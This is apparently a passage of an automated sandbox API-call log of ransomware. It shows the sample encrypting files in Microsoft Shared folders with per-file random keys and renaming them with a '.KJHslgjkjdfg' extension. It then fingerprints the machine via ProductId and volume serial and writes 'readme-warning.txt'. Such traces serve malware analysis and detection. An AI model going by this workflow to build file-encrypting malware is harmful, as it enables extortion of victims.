| out: lpNewFilePointer=0x0) returned 1 [0171.248] SetEndOfFile (hFile=0xf0) returned 1 [0171.252] GetProcessHeap () returned 0x2ef0000 [0171.252] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.252] GetProcessHeap () returned 0x2ef0000 [0171.252] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.252] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.kjhslgjkjdfg")) returned 1 [0171.253] CloseHandle (hObject=0xf0) returned 1 [0171.253] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1 [0171.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0171.254] GetProcessHeap () returned 0x2ef0000 [0171.254] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.254] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.254] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0171.254] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0171.254] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.254] GetProcessHeap () returned 0x2ef0000 [0171.254] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.255] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0171.255] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0171.255] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0171.257] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0171.258] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0171.258] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0171.258] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0171.258] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0171.258] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0171.258] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.258] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.258] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x30170, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x30170, lpOverlapped=0x0) returned 1 [0171.262] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x30170, dwBufLen=0x30170 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x30170) returned 1 [0171.264] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.265] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x30170, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x30170, lpOverlapped=0x0) returned 1 [0171.266] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0171.266] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x30244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.266] SetEndOfFile (hFile=0xf0) returned 1 [0171.269] GetProcessHeap () returned 0x2ef0000 [0171.270] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.270] GetProcessHeap () returned 0x2ef0000 [0171.270] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.270] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv.kjhslgjkjdfg")) returned 1 [0171.279] CloseHandle (hObject=0xf0) returned 1 [0171.279] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1 [0171.279] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0171.291] GetProcessHeap () returned 0x2ef0000 [0171.291] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.291] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.291] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0171.291] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0171.291] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.291] GetProcessHeap () returned 0x2ef0000 [0171.291] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.291] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0171.291] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0171.291] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0171.293] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0171.294] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0171.294] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0171.294] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0171.294] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0171.294] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0171.294] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.294] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.294] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x46b70, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x46b70, lpOverlapped=0x0) returned 1 [0171.299] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x46b70, dwBufLen=0x46b70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x46b70) returned 1 [0171.302] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.302] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x46b70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x46b70, lpOverlapped=0x0) returned 1 [0171.303] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0171.303] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x46c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.303] SetEndOfFile (hFile=0xf0) returned 1 [0171.305] GetProcessHeap () returned 0x2ef0000 [0171.306] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.306] GetProcessHeap () returned 0x2ef0000 [0171.306] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.306] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv.kjhslgjkjdfg")) returned 1 [0171.307] CloseHandle (hObject=0xf0) returned 1 [0171.311] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0 [0171.311] GetProcessHeap () returned 0x2ef0000 [0171.311] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.311] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0171.311] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c898, pdwDataLen=0x4dff0a8) returned 1 [0171.311] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0171.311] GetProcessHeap () returned 0x2ef0000 [0171.311] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0171.311] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0171.311] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8) returned 1 [0171.311] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0171.311] GetProcessHeap () returned 0x2ef0000 [0171.311] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f47728 [0171.311] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0171.311] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f47728, pdwDataLen=0x4dff0a8 | out: pbData=0x2f47728, pdwDataLen=0x4dff0a8) returned 1 [0171.311] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0171.312] GetProcessHeap () returned 0x2ef0000 [0171.312] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0171.312] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0171.312] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfec88 | out: pbData=0x2f0c928, pdwDataLen=0x4dfec88) returned 1 [0171.312] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0171.312] GetProcessHeap () returned 0x2ef0000 [0171.312] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0171.312] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0171.312] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfec88 | out: pbData=0x2f11728, pdwDataLen=0x4dfec88) returned 1 [0171.312] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0171.312] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfec84 | out: phkResult=0x4dfec84*=0xf0) returned 0x0 [0171.312] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfec90, lpcbData=0x4dfec8c*=0x400 | out: lpType=0x0, lpData=0x4dfec90*=0x30, lpcbData=0x4dfec8c*=0x18) returned 0x0 [0171.312] RegCloseKey (hKey=0xf0) returned 0x0 [0171.313] GetProcessHeap () returned 0x2ef0000 [0171.313] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0171.313] GetProcessHeap () returned 0x2ef0000 [0171.313] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0171.313] GetProcessHeap () returned 0x2ef0000 [0171.313] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0171.313] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0171.313] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea5c | out: pbData=0x2f11728, pdwDataLen=0x4dfea5c) returned 1 [0171.313] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0171.313] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0171.313] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.313] GetProcessHeap () returned 0x2ef0000 [0171.313] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0171.313] wsprintfA (in: param_1=0x4dfeca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0171.313] wsprintfA (in: param_1=0x4dff0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0171.313] GetProcessHeap () returned 0x2ef0000 [0171.313] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3d270 [0171.313] wsprintfW (in: param_1=0x4dfe084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\readme-warning.txt") returned 74 [0171.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0171.314] WriteFile (in: hFile=0xf0, lpBuffer=0x2f3d270*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe080, lpOverlapped=0x0 | out: lpBuffer=0x2f3d270*, lpNumberOfBytesWritten=0x4dfe080*=0x3b3, lpOverlapped=0x0) returned 1 [0171.315] CloseHandle (hObject=0xf0) returned 1 [0171.315] GetProcessHeap () returned 0x2ef0000 [0171.316] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0171.316] GetProcessHeap () returned 0x2ef0000 [0171.316] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d270 | out: hHeap=0x2ef0000) returned 1 [0171.316] GetProcessHeap () returned 0x2ef0000 [0171.316] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0171.316] GetProcessHeap () returned 0x2ef0000 [0171.316] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.316] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0171.316] GetProcessHeap () returned 0x2ef0000 [0171.316] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0171.316] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0171.316] GetProcessHeap () returned 0x2ef0000 [0171.316] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x80) returned 0x2f123a0 [0171.316] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0171.319] GetProcessHeap () returned 0x2ef0000 [0171.319] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0171.319] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.320] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0171.320] GetProcessHeap () returned 0x2ef0000 [0171.320] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x282) returned 0x2f16e68 [0171.320] GetProcessHeap () returned 0x2ef0000 [0171.320] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x92) returned 0x2f170f8 [0171.320] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0171.320] GetProcessHeap () returned 0x2ef0000 [0171.320] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170f8 | out: hHeap=0x2ef0000) returned 1 [0171.320] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.320] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0171.320] GetProcessHeap () returned 0x2ef0000 [0171.320] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x294) returned 0x2f3e278 [0171.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.321] GetProcessHeap () returned 0x2ef0000 [0171.321] 